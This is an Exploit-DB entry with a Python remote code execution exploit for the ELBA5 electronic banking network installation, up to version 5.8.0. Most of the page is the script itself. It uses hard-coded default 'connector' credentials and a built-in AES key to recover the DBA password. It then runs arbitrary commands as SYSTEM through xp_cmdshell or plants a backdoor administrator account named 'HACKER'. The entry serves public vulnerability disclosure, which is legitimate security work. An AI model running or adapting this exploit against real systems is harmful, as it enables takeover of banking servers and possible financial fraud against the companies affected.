# ELBA5 5.8.0 - Remote Code Execution

**EDB-ID:**
45905

**CVE:**
N/A

**EDB Verified:** ×

**Author:**
FLORIAN BOGNER

**Type:**
REMOTE

**Exploit:** / {}

**Platform:**
WINDOWS

**Date:**
2018-11-26

**Vulnerable App:**

```
# Exploit Title: ELBA5 5.8.0 - Remote Code Execution
# Date: 2018-11-16
# Exploit Author: Florian Bogner
# Vendor Homepage: https://www.elba.at
# Vulnerable Software:
https://www.elba.at/eBusiness/01_template1/1206507788612244132-
1206515595789049657_1206515641959948315-1292519691128454196-NA-38-NA.html
# Version: up to 5.8.0
# Tested on: any Windows OS
# Full Writeup: https://bogner.sh/2018/11/0-day-in-elba5s-network-
installation-overtaking-your-companys-bank-account/
# Summary:  This exploit has been tested against ELBA5 version 5.7.1 to
5.8.0. It can be used to remotely obtain code
# execution on the ELBA5 server with full SYSTEM level permissions.
Additionally, a backdoor user can be added

Please see attachment for the full python exploit.

import sys
import hashlib

try:
    import sqlanydb
except:
    print("\n")
    print("================================================")
    print("This exploit depends on the sqlanydb python module")
    print("Run \"pip install sqlanydb\" to install it")
    print("================================================")
    print("\n")
    raise

# this should be defined on the cli
DB_HOST=None
ACTION=None

# The default ELBA port
DB_PORT="2640"

# The servername to connect to... does not really matter anywhay
DB_SERVERNAME="ELBA5SRV"

# The initial "connector" database user that is used to obtain the actual
DBA credentials
DB_CONNECTOR_UID="connector"
DB_CONNECTOR_PWD="connector"

# The actual DB user with DBA permissions
DB_DBA_UID="elba"
DB_DBA_PWD=None
DB_DBA_ENCRYPTION_PWD="Af&Pw_dw7$Yd9#"

def main():
    print("================================================")
    print(" ELBA5 Electronic Banking (https://www.elba.at/)")
    print("    Network Installation RCE Exploit")
    print("")
    print("This exploit has been tested against version 5.7.1")
    print("to 5.8.0. It can be used to remotely obtain code")
    print("execution on the ELBA5 server with full SYSTEM")
    print("level permissions.")
    print("")
    print("Discovered by: Florian Bogner @ Bee IT Security")
    print("  florian(at)bee-itsecurity.at")
    print("================================================")
    print("")
```

```
    if (len(sys.argv)<3):
        print_usage()
        sys.exit(1)

    # get info from cli
    global DB_HOST
    global ACTION

    DB_HOST=sys.argv[1]
    ACTION=sys.argv[2]

    #### phase 1
    print("[*] Starting phase 1: Obtain & Decrypt DBA password")
    DB_DBA_PWD=fetch_db_dba_pwd()

    if (DB_DBA_PWD==None):
        print("[-] Something went wrong in phase 1... Exiting")
        sys.exit(1)

    print("[+] Received the DBA password: "+DB_DBA_PWD)

    #### phase 2
    print("[*] Starting phase 2: Establishing a DB connection as DBA")
    conn = sqlanydb.connect(
            uid=DB_DBA_UID,
            pwd=DB_DBA_PWD,
            servername='ELBA5SRV',
            host=''+DB_HOST+':'+DB_PORT
        )

    if (conn==None):
        print("[-] Something went wrong in phase 2... Exiting")
        sys.exit(1)

    print("[+] Connection established as DBA")

    #### deliver payload
    if (ACTION=="addUser"):
        print("[*] Starting phase 3: Adding a backdoor user")
        add_elba_user(conn);
    elif (ACTION=="runCommand"):
        print("[*] Starting phase 3: Running command")
        run_command(conn);
    else:
        print("[*] Unknown action "+ACTION+"... Exiting cleanly")

    #### winding down
    print("[*] Closing DBA connection")
    conn.close()

def print_usage():
    print("Usage: "+sys.argv[0]+" <target> <action> <sub arguments...>");
    print("");
    print("target: The system to attack");
    print("actions:");
    print(" * addUser: adds an ELBA Backdoor user to the given install")
    print(" * runCommand: A command to run on the target as SYSTEM")
    print("               Provide the command to run as a sub argument")
    print("               (No output is provided)")

def run_command(conn):

    if (len(sys.argv)!=4):
        print("[-] No command given... Exiting cleanly")
        return

    CMD=sys.argv[3]

    curs = conn.cursor()
```

```
    curs = conn.cursor()

    print("[*] Will try to execute: "+CMD)
    curs.execute("CALL xp_cmdshell('"+CMD+"');")

    curs.close()

def add_elba_user(conn):
    USER_TO_ADD = "HACKER"
    USER_PASSWORD = "H4cker"

    # check if a user with the given name already exists
    print("[*] Checking if the username "+USER_TO_ADD+" is unused")

    curs = conn.cursor()
    curs.execute("SELECT * FROM \"elbndba\".\"BEDIENER\" WHERE
BEDIENER='"+USER_TO_ADD+"'")
    rowset = curs.fetchall()
    curs.close()

    if (len(rowset)>0):
        print("[-] A user with the name "+USER_TO_ADD+" already exists!
Exiting cleanly...")
        return



    # get the largest current bedienerKey
    print("[*] Request the largest current bedienerKey")
    curs = conn.cursor()
    curs.execute("SELECT MAX(bedienerKey) FROM \"elbndba\".\"BEDIENER\"")
    currentBedienerKey = curs.fetchone()[0]
    curs.close()

    newBedienerKey=currentBedienerKey+1

    print("[*] Will use the new bedienerKey "+str(newBedienerKey))


    # create password hash
    print("[*] Hash the password")
    usrdir="USER"+str(newBedienerKey)
    string_to_hash=USER_PASSWORD+str(newBedienerKey)+usrdir

    hash =
hashlib.sha256(string_to_hash.encode('ascii','replace')).hexdigest()
    print("[*] Will use the hash: "+hash)

    # add the user
    print("[*] Finally adding the user")
    curs = conn.cursor()

    sql  = "INSERT INTO \"elbndba\".\"BEDIENER\"
(BEDIENER,NAME,ABTEILUNG,PASSWORT,GESPERRT,ADMIN,USRDIR,geloescht,bedienerKey
"
    sql += "VALUES
('"+USER_TO_ADD+"','"+USER_TO_ADD+"','','"+hash+"',0,1,'"+usrdir+"',0,"+str(n

    curs.execute(sql)

    # commit changes
    print("[*] Commiting changes")
    conn.commit()

    print("[+] Login as "+USER_TO_ADD+" with the password "+USER_PASSWORD)
    curs.close()

# connect to the target host with the "connector" user and extract the dba
password
```

```
def fetch_db_dba_pwd():

    target_host=''+DB_HOST+':'+DB_PORT
    print("[*] Trying to connect to the target server: "+target_host)

    conn = sqlanydb.connect(
            uid=DB_CONNECTOR_UID,
            pwd=DB_CONNECTOR_PWD,
            servername='ELBA5SRV',
            host=target_host
        )

    print("[*] Extracting the secret key")
    curs = conn.cursor()
    curs.execute("SELECT DECRYPT(daten, '"+DB_DBA_ENCRYPTION_PWD+"', 'AES')
FROM elbndba.connection")

    # decode the result to a valid utf-8 string
    decrypted_pwd=curs.fetchone()[0].decode("utf-8") ;

    curs.close()
    conn.close()

    return decrypted_pwd;

main();
```

**Tags:**

**Advisory/Source:** Link

Databases

Links

Sites

Solutions